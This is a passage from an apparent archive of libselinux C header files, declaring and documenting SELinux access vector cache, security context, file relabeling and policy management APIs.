<selinux/selinux.h> #ifdef __cplusplus extern "C" { #endif /* * SID format and operations */ struct security_id { char * ctx; unsigned int refcnt; }; typedef struct security_id *security_id_t; #define SECSID_WILD (security_id_t)NULL /* unspecified SID */ /** * avc_sid_to_context - get copy of context corresponding to SID. * @sid: input SID * @ctx: pointer to context reference * * Return a copy of the security context corresponding to the input * @sid in the memory referenced by @ctx. The caller is expected to * free the context with freecon(). Return %0 on success, -%1 on * failure, with @errno set to %ENOMEM if insufficient memory was * available to make the copy, or %EINVAL if the input SID is invalid. */ int avc_sid_to_context(security_id_t sid, char ** ctx); int avc_sid_to_context_raw(security_id_t sid, char ** ctx); /** * avc_context_to_sid - get SID for context. * @ctx: input security context * @sid: pointer to SID reference * * Look up security context @ctx in SID table, making * a new entry if @ctx is not found. Increment the * reference counter for the SID. Store a pointer * to the SID structure into the memory referenced by @sid, * returning %0 on success or -%1 on error with @errno set. */ int avc_context_to_sid(const char * ctx, security_id_t * sid); int avc_context_to_sid_raw(const char * ctx, security_id_t * sid); /** * sidget - increment SID reference counter. * @sid: SID reference * * Increment the reference counter for @sid, indicating that * @sid is in use by an (additional) object. Return the * new reference count, or zero if @sid is invalid (has zero * reference count). Note that avc_context_to_sid() also * increments reference counts. */ int sidget(security_id_t sid); /** * sidput - decrement SID reference counter. * @sid: SID reference * * Decrement the reference counter for @sid, indicating that * a reference to @sid is no longer in use. Return the * new reference count. When the reference count reaches * zero, the SID is invalid, and avc_context_to_sid() must * be called to obtain a new SID for the security context. */ int sidput(security_id_t sid); /** * avc_get_initial_sid - get SID for an initial kernel security identifier * @name: input name of initial kernel security identifier * @sid: pointer to a SID reference * * Get the context for an initial kernel security identifier specified by * @name using security_get_initial_context() and then call * avc_context_to_sid() to get the corresponding SID. */ int avc_get_initial_sid(const char *name, security_id_t * sid); /* * AVC entry */ struct avc_entry; struct avc_entry_ref { struct avc_entry *ae; }; /** * avc_entry_ref_init - initialize an AVC entry reference. * @aeref: pointer to avc entry reference structure * * Use this macro to initialize an avc entry reference structure * before first use. These structures are passed to avc_has_perm(), * which stores cache entry references in them. They can increase * performance on repeated queries. */ #define avc_entry_ref_init(aeref) ((aeref)->ae = NULL) /* * User-provided callbacks for memory, auditing, and locking */ /* These structures are passed by reference to avc_init(). Passing * a NULL reference will cause the AVC to use a default. The default * memory callbacks are malloc() and free(). The default logging method * is to print on stderr. If no thread callbacks are passed, a separate * listening thread won't be started for kernel policy change messages. * If no locking callbacks are passed, no locking will take place. */ struct avc_memory_callback { /* malloc() equivalent. */ void *(*func_malloc) (size_t size); /* free() equivalent. */ void (*func_free) (void *ptr); /* Note that these functions should set errno on failure. If not, some avc routines may return -1 without errno set. */ }; struct avc_log_callback { /* log the printf-style format and arguments. */ void #ifdef __GNUC__ __attribute__ ((format(printf, 1, 2))) #endif (*func_log) (const char *fmt, ...); /* store a string representation of auditdata (corresponding to the given security class) into msgbuf. */ void (*func_audit) (void *auditdata, security_class_t cls, char *msgbuf, size_t msgbufsize); }; struct avc_thread_callback { /* create and start a thread, returning an opaque pointer to it; the thread should run the given function. */ void *(*func_create_thread) (void (*run) (void)); /* cancel a given thread and free its resources. */ void (*func_stop_thread) (void *thread); }; struct avc_lock_callback { /* create a lock and return an opaque pointer to it. */ void *(*func_alloc_lock) (void); /* obtain a given lock, blocking if necessary. */ void (*func_get_lock) (void *lock); /* release a given lock. */ void (*func_release_lock) (void *lock); /* destroy a given lock (free memory, etc.) */ void (*func_free_lock) (void *lock); }; /* * Available options */ /* no-op option, useful for unused slots in an array of options */ #define AVC_OPT_UNUSED 0 /* override kernel enforcing mode (boolean value) */ #define AVC_OPT_SETENFORCE 1 /* * AVC operations */ /** * avc_init - Initialize the AVC. * @msgprefix: prefix for log messages * @mem_callbacks: user-supplied memory callbacks * @log_callbacks: user-supplied logging callbacks * @thread_callbacks: user-supplied threading callbacks * @lock_callbacks: user-supplied locking callbacks * * Initialize the access vector cache. Return %0 on * success or -%1 with @errno set on failure. * If @msgprefix is NULL, use "uavc". If any callback * structure references are NULL, use default methods * for those callbacks (see the definition of the callback * structures above). */ int avc_init(const char *msgprefix, const struct avc_memory_callback *mem_callbacks, const struct avc_log_callback *log_callbacks, const struct avc_thread_callback *thread_callbacks, const struct avc_lock_callback *lock_callbacks); /** * avc_open - Initialize the AVC. * @opts: array of selabel_opt structures specifying AVC options or NULL. * @nopts: number of elements in opts array or zero for no options. * * This function is identical to avc_init(), except the message prefix * is set to "avc" and any callbacks desired should be specified via * selinux_set_callback(). Available options are listed above. */ int avc_open(struct selinux_opt *opts, unsigned nopts); /** * avc_cleanup - Remove unused SIDs and AVC entries. * * Search the SID table for SID structures with zero * reference counts, and remove them along with all * AVC entries that reference them. This can be used * to return memory to the system. */ void avc_cleanup(void); /** * avc_reset - Flush the cache and reset statistics. * * Remove all entries from the cache and reset all access * statistics (as returned by avc_cache_stats()) to zero. * The SID mapping is not affected. Return %0 on success, * -%1 with @errno set on error. */ int avc_reset(void); /** * avc_destroy - Free all AVC structures. * * Destroy all AVC structures and free all allocated * memory. User-supplied locking, memory, and audit * callbacks will be retained, but security-event * callbacks will not. All SID's will be invalidated. * User must call avc_init() if further use of AVC is desired. */ void avc_destroy(void); /** * avc_has_perm_noaudit - Check permissions but perform no auditing. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @requested: requested permissions, interpreted based on @tclass * @aeref: AVC entry reference * @avd: access vector decisions * * Check the AVC to determine whether the @requested permissions are granted * for the SID pair (@ssid, @tsid), interpreting the permissions * based on @tclass, and call the security server on a cache miss to obtain * a new decision and add it to the cache. Update @aeref to refer to an AVC * entry with the resulting decisions, and return a copy of the decisions * in @avd. Return %0 if all @requested permissions are granted, -%1 with * @errno set to %EACCES if any permissions are denied, or to another value * upon other errors. This function is typically called by avc_has_perm(), * but may also be called directly to separate permission checking from * auditing, e.g. in cases where a lock must be held for the check but * should be released for the auditing. */ int avc_has_perm_noaudit(security_id_t ssid, security_id_t tsid, security_class_t tclass, access_vector_t requested, struct avc_entry_ref *aeref, struct av_decision *avd); /** * avc_has_perm - Check permissions and perform any appropriate auditing. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @requested: requested permissions, interpreted based on @tclass * @aeref: AVC entry reference * @auditdata: auxiliary audit data * * Check the AVC to determine whether the @requested permissions are granted * for the SID pair (@ssid, @tsid), interpreting the permissions * based on @tclass, and call the security server on a cache miss to obtain * a new decision and add it to the cache. Update @aeref to refer to an AVC * entry with the resulting decisions. Audit the granting or denial of * permissions in accordance with the policy. Return %0 if all @requested * permissions are granted, -%1 with @errno set to %EACCES if any permissions * are denied or to another value upon other errors. */ int avc_has_perm(security_id_t ssid, security_id_t tsid, security_class_t tclass, access_vector_t requested, struct avc_entry_ref *aeref, void *auditdata); /** * avc_audit - Audit the granting or denial of permissions. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @requested: requested permissions * @avd: access vector decisions * @result: result from avc_has_perm_noaudit * @auditdata: auxiliary audit data * * Audit the granting or denial of permissions in accordance * with the policy. This function is typically called by * avc_has_perm() after a permission check, but can also be * called directly by callers who use avc_has_perm_noaudit() * in order to separate the permission check from the auditing. * For example, this separation is useful when the permission check must * be performed under a lock, to allow the lock to be released * before calling the auditing code. */ void avc_audit(security_id_t ssid, security_id_t tsid, security_class_t tclass, access_vector_t requested, struct av_decision *avd, int result, void *auditdata); /** * avc_compute_create - Compute SID for labeling a new object. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @newsid: pointer to SID reference * * Call the security server to obtain a context for labeling a * new object. Look up the context in the SID table, making * a new entry if not found. Increment the reference counter * for the SID. Store a pointer to the SID structure into the * memory referenced by @newsid, returning %0 on success or -%1 on * error with @errno set. */ int avc_compute_create(security_id_t ssid, security_id_t tsid, security_class_t tclass, security_id_t * newsid); /** * avc_compute_member - Compute SID for polyinstantation. * @ssid: source security identifier * @tsid: target security identifier * @tclass: target security class * @newsid: pointer to SID reference * * Call the security server to obtain a context for labeling an * object instance. Look up the context in the SID table, making * a new entry if not found. Increment the reference counter * for the SID. Store a pointer to the SID structure into the * memory referenced by @newsid, returning %0 on success or -%1 on * error with @errno set. */ int avc_compute_member(security_id_t ssid, security_id_t tsid, security_class_t tclass, security_id_t * newsid); /* * security event callback facility */ /* security events */ #define AVC_CALLBACK_GRANT 1 #define AVC_CALLBACK_TRY_REVOKE 2 #define AVC_CALLBACK_REVOKE 4 #define AVC_CALLBACK_RESET 8 #define AVC_CALLBACK_AUDITALLOW_ENABLE 16 #define AVC_CALLBACK_AUDITALLOW_DISABLE 32 #define AVC_CALLBACK_AUDITDENY_ENABLE 64 #define AVC_CALLBACK_AUDITDENY_DISABLE 128 /** * avc_add_callback - Register a callback for security events. * @callback: callback function * @events: bitwise OR of desired security events * @ssid: source security identifier or %SECSID_WILD * @tsid: target security identifier or %SECSID_WILD * @tclass: target security class * @perms: permissions * * Register a callback function for events in the set @events * related to the SID pair (@ssid, @tsid) and * and the permissions @perms, interpreting * @perms based on @tclass. Returns %0 on success or * -%1 if insufficient memory exists to add the callback. */ int avc_add_callback(int (*callback) (uint32_t event, security_id_t ssid, security_id_t tsid, security_class_t tclass, access_vector_t perms, access_vector_t * out_retained), uint32_t events, security_id_t ssid, security_id_t tsid, security_class_t tclass, access_vector_t perms); /* * AVC statistics */ /* If set, cache statistics are tracked. This may * become a compile-time option in the future. */ #define AVC_CACHE_STATS 1 struct avc_cache_stats { unsigned entry_lookups; unsigned entry_hits; unsigned entry_misses; unsigned entry_discards; unsigned cav_lookups; unsigned cav_hits; unsigned cav_probes; unsigned cav_misses; }; /** * avc_cache_stats - get cache access statistics. * @stats: reference to statistics structure * * Fill the supplied structure with information about AVC * activity since the last call to avc_init() or * avc_reset(). See the structure definition for * details. */ void avc_cache_stats(struct avc_cache_stats *stats); /** * avc_av_stats - log av table statistics. * * Log a message with information about the size and * distribution of the access vector table. The audit * callback is used to print the message. */ void avc_av_stats(void); /** * avc_sid_stats - log SID table statistics. * * Log a message with information about the size and * distribution of the SID table. The audit callback * is used to print the message. */ void avc_sid_stats(void); /** * avc_netlink_open - Create a netlink socket and connect to the kernel. */ int avc_netlink_open(int blocking); /** * avc_netlink_loop - Wait for netlink messages from the kernel */ void avc_netlink_loop(void); /** * avc_netlink_close - Close the netlink socket */ void avc_netlink_close(void); /** * avc_netlink_acquire_fd - Acquire netlink socket fd. * * Allows the application to manage messages from the netlink socket in * its own main loop. */ int avc_netlink_acquire_fd(void); /** * avc_netlink_release_fd - Release netlink socket fd. * * Returns ownership of the netlink socket to the library. */ void avc_netlink_release_fd(void); /** * avc_netlink_check_nb - Check netlink socket for new messages. * * Called by the application when using avc_netlink_acquire_fd() to * process kernel netlink events. */ int avc_netlink_check_nb(void); /** * selinux_status_open - Open and map SELinux kernel status page * */ int selinux_status_open(int fallback); /** * selinux_status_close - Unmap and close SELinux kernel status page * */ void selinux_status_close(void); /** * selinux_status_updated - Inform us whether the kernel status has been updated * */ int selinux_status_updated(void); /** * selinux_status_getenforce - Get the enforce flag value * */ int selinux_status_getenforce(void); /** * selinux_status_policyload - Get the number of policy reloaded * */ int selinux_status_policyload(void); /** * selinux_status_deny_unknown - Get the behavior for undefined classes/permissions * */ int selinux_status_deny_unknown(void); #ifdef __cplusplus } #endif #endif /* _SELINUX_AVC_H_ */ selinux/restorecon.h 0000644 00000013626 15246445046 0010611 0 ustar 00 #ifndef _RESTORECON_H_ #define _RESTORECON_H_ #include <selinux/label.h> #include <sys/types.h> #include <stdarg.h> #ifdef __cplusplus extern "C" { #endif /** * selinux_restorecon - Relabel files. * @pathname: specifies file/directory to relabel. * @restorecon_flags: specifies the actions to be performed when relabeling. * * selinux_restorecon(3) will automatically call * selinux_restorecon_default_handle(3) and selinux_restorecon_set_sehandle(3) * first time through to set the selabel_open(3) parameters to use the * currently loaded policy file_contexts and request their computed digest. * * Should other selabel_open(3) parameters be required see * selinux_restorecon_set_sehandle(3). */ extern int selinux_restorecon(const char *pathname, unsigned int restorecon_flags); /* * restorecon_flags options */ /* * Force the checking of labels even if the stored SHA1 * digest matches the specfiles SHA1 digest. */ #define SELINUX_RESTORECON_IGNORE_DIGEST 0x0001 /* * Do not change file labels. */ #define SELINUX_RESTORECON_NOCHANGE 0x0002 /* * If set, change file label to that in spec file. * If not, only change type component to that in spec file. */ #define SELINUX_RESTORECON_SET_SPECFILE_CTX 0x0004 /* * Recursively descend directories. */ #define SELINUX_RESTORECON_RECURSE 0x0008 /* * Log changes to selinux log. Note that if VERBOSE and * PROGRESS are set, then PROGRESS will take precedence. */ #define SELINUX_RESTORECON_VERBOSE 0x0010 /* * If SELINUX_RESTORECON_PROGRESS is true and * SELINUX_RESTORECON_MASS_RELABEL is true, then output approx % complete, * else output the number of files in 1k blocks processed to stdout. */ #define SELINUX_RESTORECON_PROGRESS 0x0020 /* * Convert passed-in pathname to canonical pathname. */ #define SELINUX_RESTORECON_REALPATH 0x0040 /* * Prevent descending into directories that have a different * device number than the pathname from which the descent began. */ #define SELINUX_RESTORECON_XDEV 0x0080 /* * Attempt to add an association between an inode and a specification. * If there is already an association for the inode and it conflicts * with the specification, then use the last matching specification. */ #define SELINUX_RESTORECON_ADD_ASSOC 0x0100 /* * Abort on errors during the file tree walk. */ #define SELINUX_RESTORECON_ABORT_ON_ERROR 0x0200 /* * Log any label changes to syslog. */ #define SELINUX_RESTORECON_SYSLOG_CHANGES 0x0400 /* * Log what spec matched each file. */ #define SELINUX_RESTORECON_LOG_MATCHES 0x0800 /* * Ignore files that do not exist. */ #define SELINUX_RESTORECON_IGNORE_NOENTRY 0x1000 /* * Do not read /proc/mounts to obtain a list of non-seclabel * mounts to be excluded from relabeling checks. */ #define SELINUX_RESTORECON_IGNORE_MOUNTS 0x2000 /* * Set if there is a mass relabel required. * See SELINUX_RESTORECON_PROGRESS flag for details. */ #define SELINUX_RESTORECON_MASS_RELABEL 0x4000 /** * selinux_restorecon_set_sehandle - Set the global fc handle. * @hndl: specifies handle to set as the global fc handle. * * Called by a process that has already called selabel_open(3) with it's * required parameters, or if selinux_restorecon_default_handle(3) has been * called to set the default selabel_open(3) parameters. */ extern void selinux_restorecon_set_sehandle(struct selabel_handle *hndl); /** * selinux_restorecon_default_handle - Sets default selabel_open(3) parameters * to use the currently loaded policy and * file_contexts, also requests the digest. * * Return value is the created handle on success or NULL with @errno set on * failure. */ extern struct selabel_handle *selinux_restorecon_default_handle(void); /** * selinux_restorecon_set_exclude_list - Add a list of directories that are * to be excluded from relabeling. * @exclude_list: containing a NULL terminated list of one or more * directories not to be relabeled. */ extern void selinux_restorecon_set_exclude_list(const char **exclude_list); /** * selinux_restorecon_set_alt_rootpath - Use alternate rootpath. * @alt_rootpath: containing the alternate rootpath to be used. * * Return %0 on success, -%1 with @errno set on failure. */ extern int selinux_restorecon_set_alt_rootpath(const char *alt_rootpath); /** * selinux_restorecon_xattr - Read/remove RESTORECON_LAST xattr entries. * @pathname: specifies directory path to check. * @xattr_flags: specifies the actions to be performed. * @xattr_list: a linked list of struct dir_xattr structures containing * the directory, digest and result of the action on the * RESTORECON_LAST entry. * * selinux_restorecon_xattr(3) will automatically call * selinux_restorecon_default_handle(3) and selinux_restorecon_set_sehandle(3) * first time through to set the selabel_open(3) parameters to use the * currently loaded policy file_contexts and request their computed digest. * * Should other selabel_open(3) parameters be required see * selinux_restorecon_set_sehandle(3), however note that a file_contexts * computed digest is required for selinux_restorecon_xattr(). */ enum digest_result { MATCH = 0, NOMATCH, DELETED_MATCH, DELETED_NOMATCH, ERROR }; struct dir_xattr { char *directory; char *digest; /* A hex encoded string that can be printed. */ enum digest_result result; struct dir_xattr *next; }; extern int selinux_restorecon_xattr(const char *pathname, unsigned int xattr_flags, struct dir_xattr ***xattr_list); /* * xattr_flags options */ /* Recursively descend directories. */ #define SELINUX_RESTORECON_XATTR_RECURSE 0x0001 /* Delete non-matching digests from each directory in pathname. */ #define SELINUX_RESTORECON_XATTR_DELETE_NONMATCH_DIGESTS 0x0002 /* Delete all digests found in pathname. */ #define SELINUX_RESTORECON_XATTR_DELETE_ALL_DIGESTS 0x0004 /* Do not read /proc/mounts. */ #define SELINUX_RESTORECON_XATTR_IGNORE_MOUNTS 0x0008 #ifdef __cplusplus } #endif #endif selinux/get_context_list.h 0000644 00000005550 15246445046 0012001 0 ustar 00 #ifndef _SELINUX_GET_SID_LIST_H_ #define _SELINUX_GET_SID_LIST_H_ #include <selinux/selinux.h> #ifdef __cplusplus extern "C" { #endif #define SELINUX_DEFAULTUSER "user_u" /* Get an ordered list of authorized security contexts for a user session for 'user' spawned by 'fromcon' and set *conary to refer to the NULL-terminated array of contexts. Every entry in the list will be authorized by the policy, but the ordering is subject to user customizable preferences. Returns number of entries in *conary. If 'fromcon' is NULL, defaults to current context. Caller must free via freeconary. */ extern int get_ordered_context_list(const char *user, char * fromcon, char *** list); /* As above, but use the provided MLS level rather than the default level for the user. */ int get_ordered_context_list_with_level(const char *user, const char *level, char * fromcon, char *** list); /* Get the default security context for a user session for 'user' spawned by 'fromcon' and set *newcon to refer to it. The context will be one of those authorized by the policy, but the selection of a default is subject to user customizable preferences. If 'fromcon' is NULL, defaults to current context. Returns 0 on success or -1 otherwise. Caller must free via freecon. */ extern int get_default_context(const char *user, char * fromcon, char ** newcon); /* As above, but use the provided MLS level rather than the default level for the user. */ int get_default_context_with_level(const char *user, const char *level, char * fromcon, char ** newcon); /* Same as get_default_context, but only return a context that has the specified role. If no reachable context exists for the user with that role, then return -1. */ int get_default_context_with_role(const char *user, const char *role, char * fromcon, char ** newcon); /* Same as get_default_context, but only return a context that has the specified role and level. If no reachable context exists for the user with that role, then return -1. */ int get_default_context_with_rolelevel(const char *user, const char *role, const char *level, char * fromcon, char ** newcon); /* Given a list of authorized security contexts for the user, query the user to select one and set *newcon to refer to it. Caller must free via freecon. Returns 0 on sucess or -1 otherwise. */ extern int query_user_context(char ** list, char ** newcon); /* Allow the user to manually enter a context as a fallback if a list of authorized contexts could not be obtained. Caller must free via freecon. Returns 0 on success or -1 otherwise. */ extern int manual_user_enter_context(const char *user, char ** newcon); #ifdef __cplusplus } #endif #endif selinux/context.h 0000644 00000002271 15246445046 0010104 0 ustar 00 #ifndef _SELINUX_CONTEXT_H_ #define _SELINUX_CONTEXT_H_ #ifdef __cplusplus extern "C" { #endif /* * Functions to deal with security contexts in user space. */ typedef struct { void *ptr; } context_s_t; typedef context_s_t *context_t; /* Return a new context initialized to a context string */ extern context_t context_new(const char *); /* * Return a pointer to the string value of the context_t * Valid until the next call to context_str or context_free * for the same context_t* */ extern char *context_str(context_t); /* Free the storage used by a context */ extern void context_free(context_t); /* Get a pointer to the string value of a context component */ extern const char *context_type_get(context_t); extern const char *context_range_get(context_t); extern const char *context_role_get(context_t); extern const char *context_user_get(context_t); /* Set a context component. Returns nonzero if unsuccessful */ extern int context_type_set(context_t, const char *); extern int context_range_set(context_t, const char *); extern int context_role_set(context_t, const char *); extern int context_user_set(context_t, const char *); #ifdef __cplusplus } #endif #endif selinux/selinux.h 0000644 00000065623 15246445046 0010121 0 ustar 00 #ifndef _SELINUX_H_ #define _SELINUX_H_ #include <sys/types.h> #include <stdarg.h> #ifdef __cplusplus extern "C" { #endif /* Return 1 if we are running on a SELinux kernel, or 0 if not or -1 if we get an error. */ extern int is_selinux_enabled(void); /* Return 1 if we are running on a SELinux MLS kernel, or 0 otherwise. */ extern int is_selinux_mls_enabled(void); /* No longer used; here for compatibility with legacy callers. */ typedef char *security_context_t; /* Free the memory allocated for a context by any of the below get* calls. */ extern void freecon(char * con); /* Free the memory allocated for a context array by security_compute_user. */ extern void freeconary(char ** con); /* Wrappers for the /proc/pid/attr API. */ /* Get current context, and set *con to refer to it. Caller must free via freecon. */ extern int getcon(char ** con); extern int getcon_raw(char ** con); /* Set the current security context to con. Note that use of this function requires that the entire application be trusted to maintain any desired separation between the old and new security contexts, unlike exec-based transitions performed via setexeccon. When possible, decompose your application and use setexeccon()+execve() instead. Note that the application may lose access to its open descriptors as a result of a setcon() unless policy allows it to use descriptors opened by the old context. */ extern int setcon(const char * con); extern int setcon_raw(const char * con); /* Get context of process identified by pid, and set *con to refer to it. Caller must free via freecon. */ extern int getpidcon(pid_t pid, char ** con); extern int getpidcon_raw(pid_t pid, char ** con); /* Get previous context (prior to last exec), and set *con to refer to it. Caller must free via freecon. */ extern int getprevcon(char ** con); extern int getprevcon_raw(char ** con); /* Get exec context, and set *con to refer to it. Sets *con to NULL if no exec context has been set, i.e. using default. If non-NULL, caller must free via freecon. */ extern int getexeccon(char ** con); extern int getexeccon_raw(char ** con); /* Set exec security context for the next execve. Call with NULL if you want to reset to the default. */ extern int setexeccon(const char * con); extern int setexeccon_raw(const char * con); /* Get fscreate context, and set *con to refer to it. Sets *con to NULL if no fs create context has been set, i.e. using default. If non-NULL, caller must free via freecon. */ extern int getfscreatecon(char ** con); extern int getfscreatecon_raw(char ** con); /* Set the fscreate security context for subsequent file creations. Call with NULL if you want to reset to the default. */ extern int setfscreatecon(const char * context); extern int setfscreatecon_raw(const char * context); /* Get keycreate context, and set *con to refer to it. Sets *con to NULL if no key create context has been set, i.e. using default. If non-NULL, caller must free via freecon. */ extern int getkeycreatecon(char ** con); extern int getkeycreatecon_raw(char ** con); /* Set the keycreate security context for subsequent key creations. Call with NULL if you want to reset to the default. */ extern int setkeycreatecon(const char * context); extern int setkeycreatecon_raw(const char * context); /* Get sockcreate context, and set *con to refer to it. Sets *con to NULL if no socket create context has been set, i.e. using default. If non-NULL, caller must free via freecon. */ extern int getsockcreatecon(char ** con); extern int getsockcreatecon_raw(char ** con); /* Set the sockcreate security context for subsequent socket creations. Call with NULL if you want to reset to the default. */ extern int setsockcreatecon(const char * context); extern int setsockcreatecon_raw(const char * context); /* Wrappers for the xattr API. */ /* Get file context, and set *con to refer to it. Caller must free via freecon. */ extern int getfilecon(const char *path, char ** con); extern int getfilecon_raw(const char *path, char ** con); extern int lgetfilecon(const char *path, char ** con); extern int lgetfilecon_raw(const char *path, char ** con); extern int fgetfilecon(int fd, char ** con); extern int fgetfilecon_raw(int fd, char ** con); /* Set file context */ extern int setfilecon(const char *path, const char * con); extern int setfilecon_raw(const char *path, const char * con); extern int lsetfilecon(const char *path, const char * con); extern int lsetfilecon_raw(const char *path, const char * con); extern int fsetfilecon(int fd, const char * con); extern int fsetfilecon_raw(int fd, const char * con); /* Wrappers for the socket API */ /* Get context of peer socket, and set *con to refer to it. Caller must free via freecon. */ extern int getpeercon(int fd, char ** con); extern int getpeercon_raw(int fd, char ** con); /* Wrappers for the selinuxfs (policy) API. */ typedef unsigned int access_vector_t; typedef unsigned short security_class_t; struct av_decision { access_vector_t allowed; access_vector_t decided; access_vector_t auditallow; access_vector_t auditdeny; unsigned int seqno; unsigned int flags; }; /* Definitions of av_decision.flags */ #define SELINUX_AVD_FLAGS_PERMISSIVE 0x0001 /* Structure for passing options, used by AVC and label subsystems */ struct selinux_opt { int type; const char *value; }; /* Callback facilities */ union selinux_callback { /* log the printf-style format and arguments, with the type code indicating the type of message */ int #ifdef __GNUC__ __attribute__ ((format(printf, 2, 3))) #endif (*func_log) (int type, const char *fmt, ...); /* store a string representation of auditdata (corresponding to the given security class) into msgbuf. */ int (*func_audit) (void *auditdata, security_class_t cls, char *msgbuf, size_t msgbufsize); /* validate the supplied context, modifying if necessary */ int (*func_validate) (char **ctx); /* netlink callback for setenforce message */ int (*func_setenforce) (int enforcing); /* netlink callback for policyload message */ int (*func_policyload) (int seqno); }; #define SELINUX_CB_LOG 0 #define SELINUX_CB_AUDIT 1 #define SELINUX_CB_VALIDATE 2 #define SELINUX_CB_SETENFORCE 3 #define SELINUX_CB_POLICYLOAD 4 extern union selinux_callback selinux_get_callback(int type); extern void selinux_set_callback(int type, union selinux_callback cb); /* Logging type codes, passed to the logging callback */ #define SELINUX_ERROR 0 #define SELINUX_WARNING 1 #define SELINUX_INFO 2 #define SELINUX_AVC 3 #define SELINUX_TRANS_DIR "/var/run/setrans" /* Compute an access decision. */ extern int security_compute_av(const char * scon, const char * tcon, security_class_t tclass, access_vector_t requested, struct av_decision *avd); extern int security_compute_av_raw(const char * scon, const char * tcon, security_class_t tclass, access_vector_t requested, struct av_decision *avd); extern int security_compute_av_flags(const char * scon, const char * tcon, security_class_t tclass, access_vector_t requested, struct av_decision *avd); extern int security_compute_av_flags_raw(const char * scon, const char * tcon, security_class_t tclass, access_vector_t requested, struct av_decision *avd); /* Compute a labeling decision and set *newcon to refer to it. Caller must free via freecon. */ extern int security_compute_create(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); extern int security_compute_create_raw(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); extern int security_compute_create_name(const char * scon, const char * tcon, security_class_t tclass, const char *objname, char ** newcon); extern int security_compute_create_name_raw(const char * scon, const char * tcon, security_class_t tclass, const char *objname, char ** newcon); /* Compute a relabeling decision and set *newcon to refer to it. Caller must free via freecon. */ extern int security_compute_relabel(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); extern int security_compute_relabel_raw(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); /* Compute a polyinstantiation member decision and set *newcon to refer to it. Caller must free via freecon. */ extern int security_compute_member(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); extern int security_compute_member_raw(const char * scon, const char * tcon, security_class_t tclass, char ** newcon); /* * Compute the set of reachable user contexts and set *con to refer to * the NULL-terminated array of contexts. Caller must free via freeconary. * These interfaces are deprecated. Use get_ordered_context_list() or * one of its variant interfaces instead. */ extern int security_compute_user(const char * scon, const char *username, char *** con); extern int security_compute_user_raw(const char * scon, const char *username, char *** con); /* Load a policy configuration. */ extern int security_load_policy(void *data, size_t len); /* Get the context of an initial kernel security identifier by name. Caller must free via freecon */ extern int security_get_initial_context(const char *name, char ** con); extern int security_get_initial_context_raw(const char *name, char ** con); /* * Make a policy image and load it. * This function provides a higher level interface for loading policy * than security_load_policy, internally determining the right policy * version, locating and opening the policy file, mapping it into memory, * manipulating it as needed for current boolean settings and/or local * definitions, and then calling security_load_policy to load it. * * 'preservebools' is a boolean flag indicating whether current * policy boolean values should be preserved into the new policy (if 1) * or reset to the saved policy settings (if 0). The former case is the * default for policy reloads, while the latter case is an option for policy * reloads but is primarily for the initial policy load. */ extern int selinux_mkload_policy(int preservebools); /* * Perform the initial policy load. * This function determines the desired enforcing mode, sets the * the *enforce argument accordingly for the caller to use, sets the * SELinux kernel enforcing status to match it, and loads the policy. * It also internally handles the initial selinuxfs mount required to * perform these actions. * * The function returns 0 if everything including the policy load succeeds. * In this case, init is expected to re-exec itself in order to transition * to the proper security context. * Otherwise, the function returns -1, and init must check *enforce to * determine how to proceed. If enforcing (*enforce > 0), then init should * halt the system. Otherwise, init may proceed normally without a re-exec. */ extern int selinux_init_load_policy(int *enforce); /* Translate boolean strict to name value pair. */ typedef struct { char *name; int value; } SELboolean; /* save a list of booleans in a single transaction. */ extern int security_set_boolean_list(size_t boolcnt, SELboolean * boollist, int permanent); /* Load policy boolean settings. Path may be NULL, in which case the booleans are loaded from the active policy boolean configuration file. */ extern int security_load_booleans(char *path); /* Check the validity of a security context. */ extern int security_check_context(const char * con); extern int security_check_context_raw(const char * con); /* Canonicalize a security context. */ extern int security_canonicalize_context(const char * con, char ** canoncon); extern int security_canonicalize_context_raw(const char * con, char ** canoncon); /* Get the enforce flag value. */ extern int security_getenforce(void); /* Set the enforce flag value. */ extern int security_setenforce(int value); /* Get the load-time behavior for undefined classes/permissions */ extern int security_reject_unknown(void); /* Get the runtime behavior for undefined classes/permissions */ extern int security_deny_unknown(void); /* Get the checkreqprot value */ extern int security_get_checkreqprot(void); /* Disable SELinux at runtime (must be done prior to initial policy load). */ extern int security_disable(void); /* Get the policy version number. */ extern int security_policyvers(void); /* Get the boolean names */ extern int security_get_boolean_names(char ***names, int *len); /* Get the pending value for the boolean */ extern int security_get_boolean_pending(const char *name); /* Get the active value for the boolean */ extern int security_get_boolean_active(const char *name); /* Set the pending value for the boolean */ extern int security_set_boolean(const char *name, int value); /* Commit the pending values for the booleans */ extern int security_commit_booleans(void); /* Userspace class mapping support */ struct security_class_mapping { const char *name; const char *perms[sizeof(access_vector_t) * 8 + 1]; }; /** * selinux_set_mapping - Enable dynamic mapping between integer offsets and security class names * @map: array of security_class_mapping structures * * The core avc_has_perm() API uses integers to represent security * classes; previous to the introduction of this function, it was * common for userspace object managers to be compiled using generated * offsets for a particular policy. However, that strongly ties the build of the userspace components to a particular policy. * * By using this function to map between integer offsets and security * class names, it's possible to replace a system policies that have * at least the same set of security class names as used by the * userspace object managers. * * To correctly use this function, you should override the generated * security class defines from the system policy in a local header, * starting at 1, and have one security_class_mapping structure entry * per define. */ extern int selinux_set_mapping(struct security_class_mapping *map); /* Common helpers */ /* Convert between mode and security class values */ extern security_class_t mode_to_security_class(mode_t mode); /* Convert between security class values and string names */ extern security_class_t string_to_security_class(const char *name); extern const char *security_class_to_string(security_class_t cls); /* Convert between individual access vector permissions and string names */ extern const char *security_av_perm_to_string(security_class_t tclass, access_vector_t perm); extern access_vector_t string_to_av_perm(security_class_t tclass, const char *name); /* Returns an access vector in a string representation. User must free the * returned string via free(). */ extern int security_av_string(security_class_t tclass, access_vector_t av, char **result); /* Display an access vector in a string representation. */ extern void print_access_vector(security_class_t tclass, access_vector_t av); /* Set the function used by matchpathcon_init when displaying errors about the file_contexts configuration. If not set, then this defaults to fprintf(stderr, fmt, ...). */ extern void set_matchpathcon_printf(void (*f) (const char *fmt, ...)); /* Set the function used by matchpathcon_init when checking the validity of a context in the file contexts configuration. If not set, then this defaults to a test based on security_check_context(). The function is also responsible for reporting any such error, and may include the 'path' and 'lineno' in 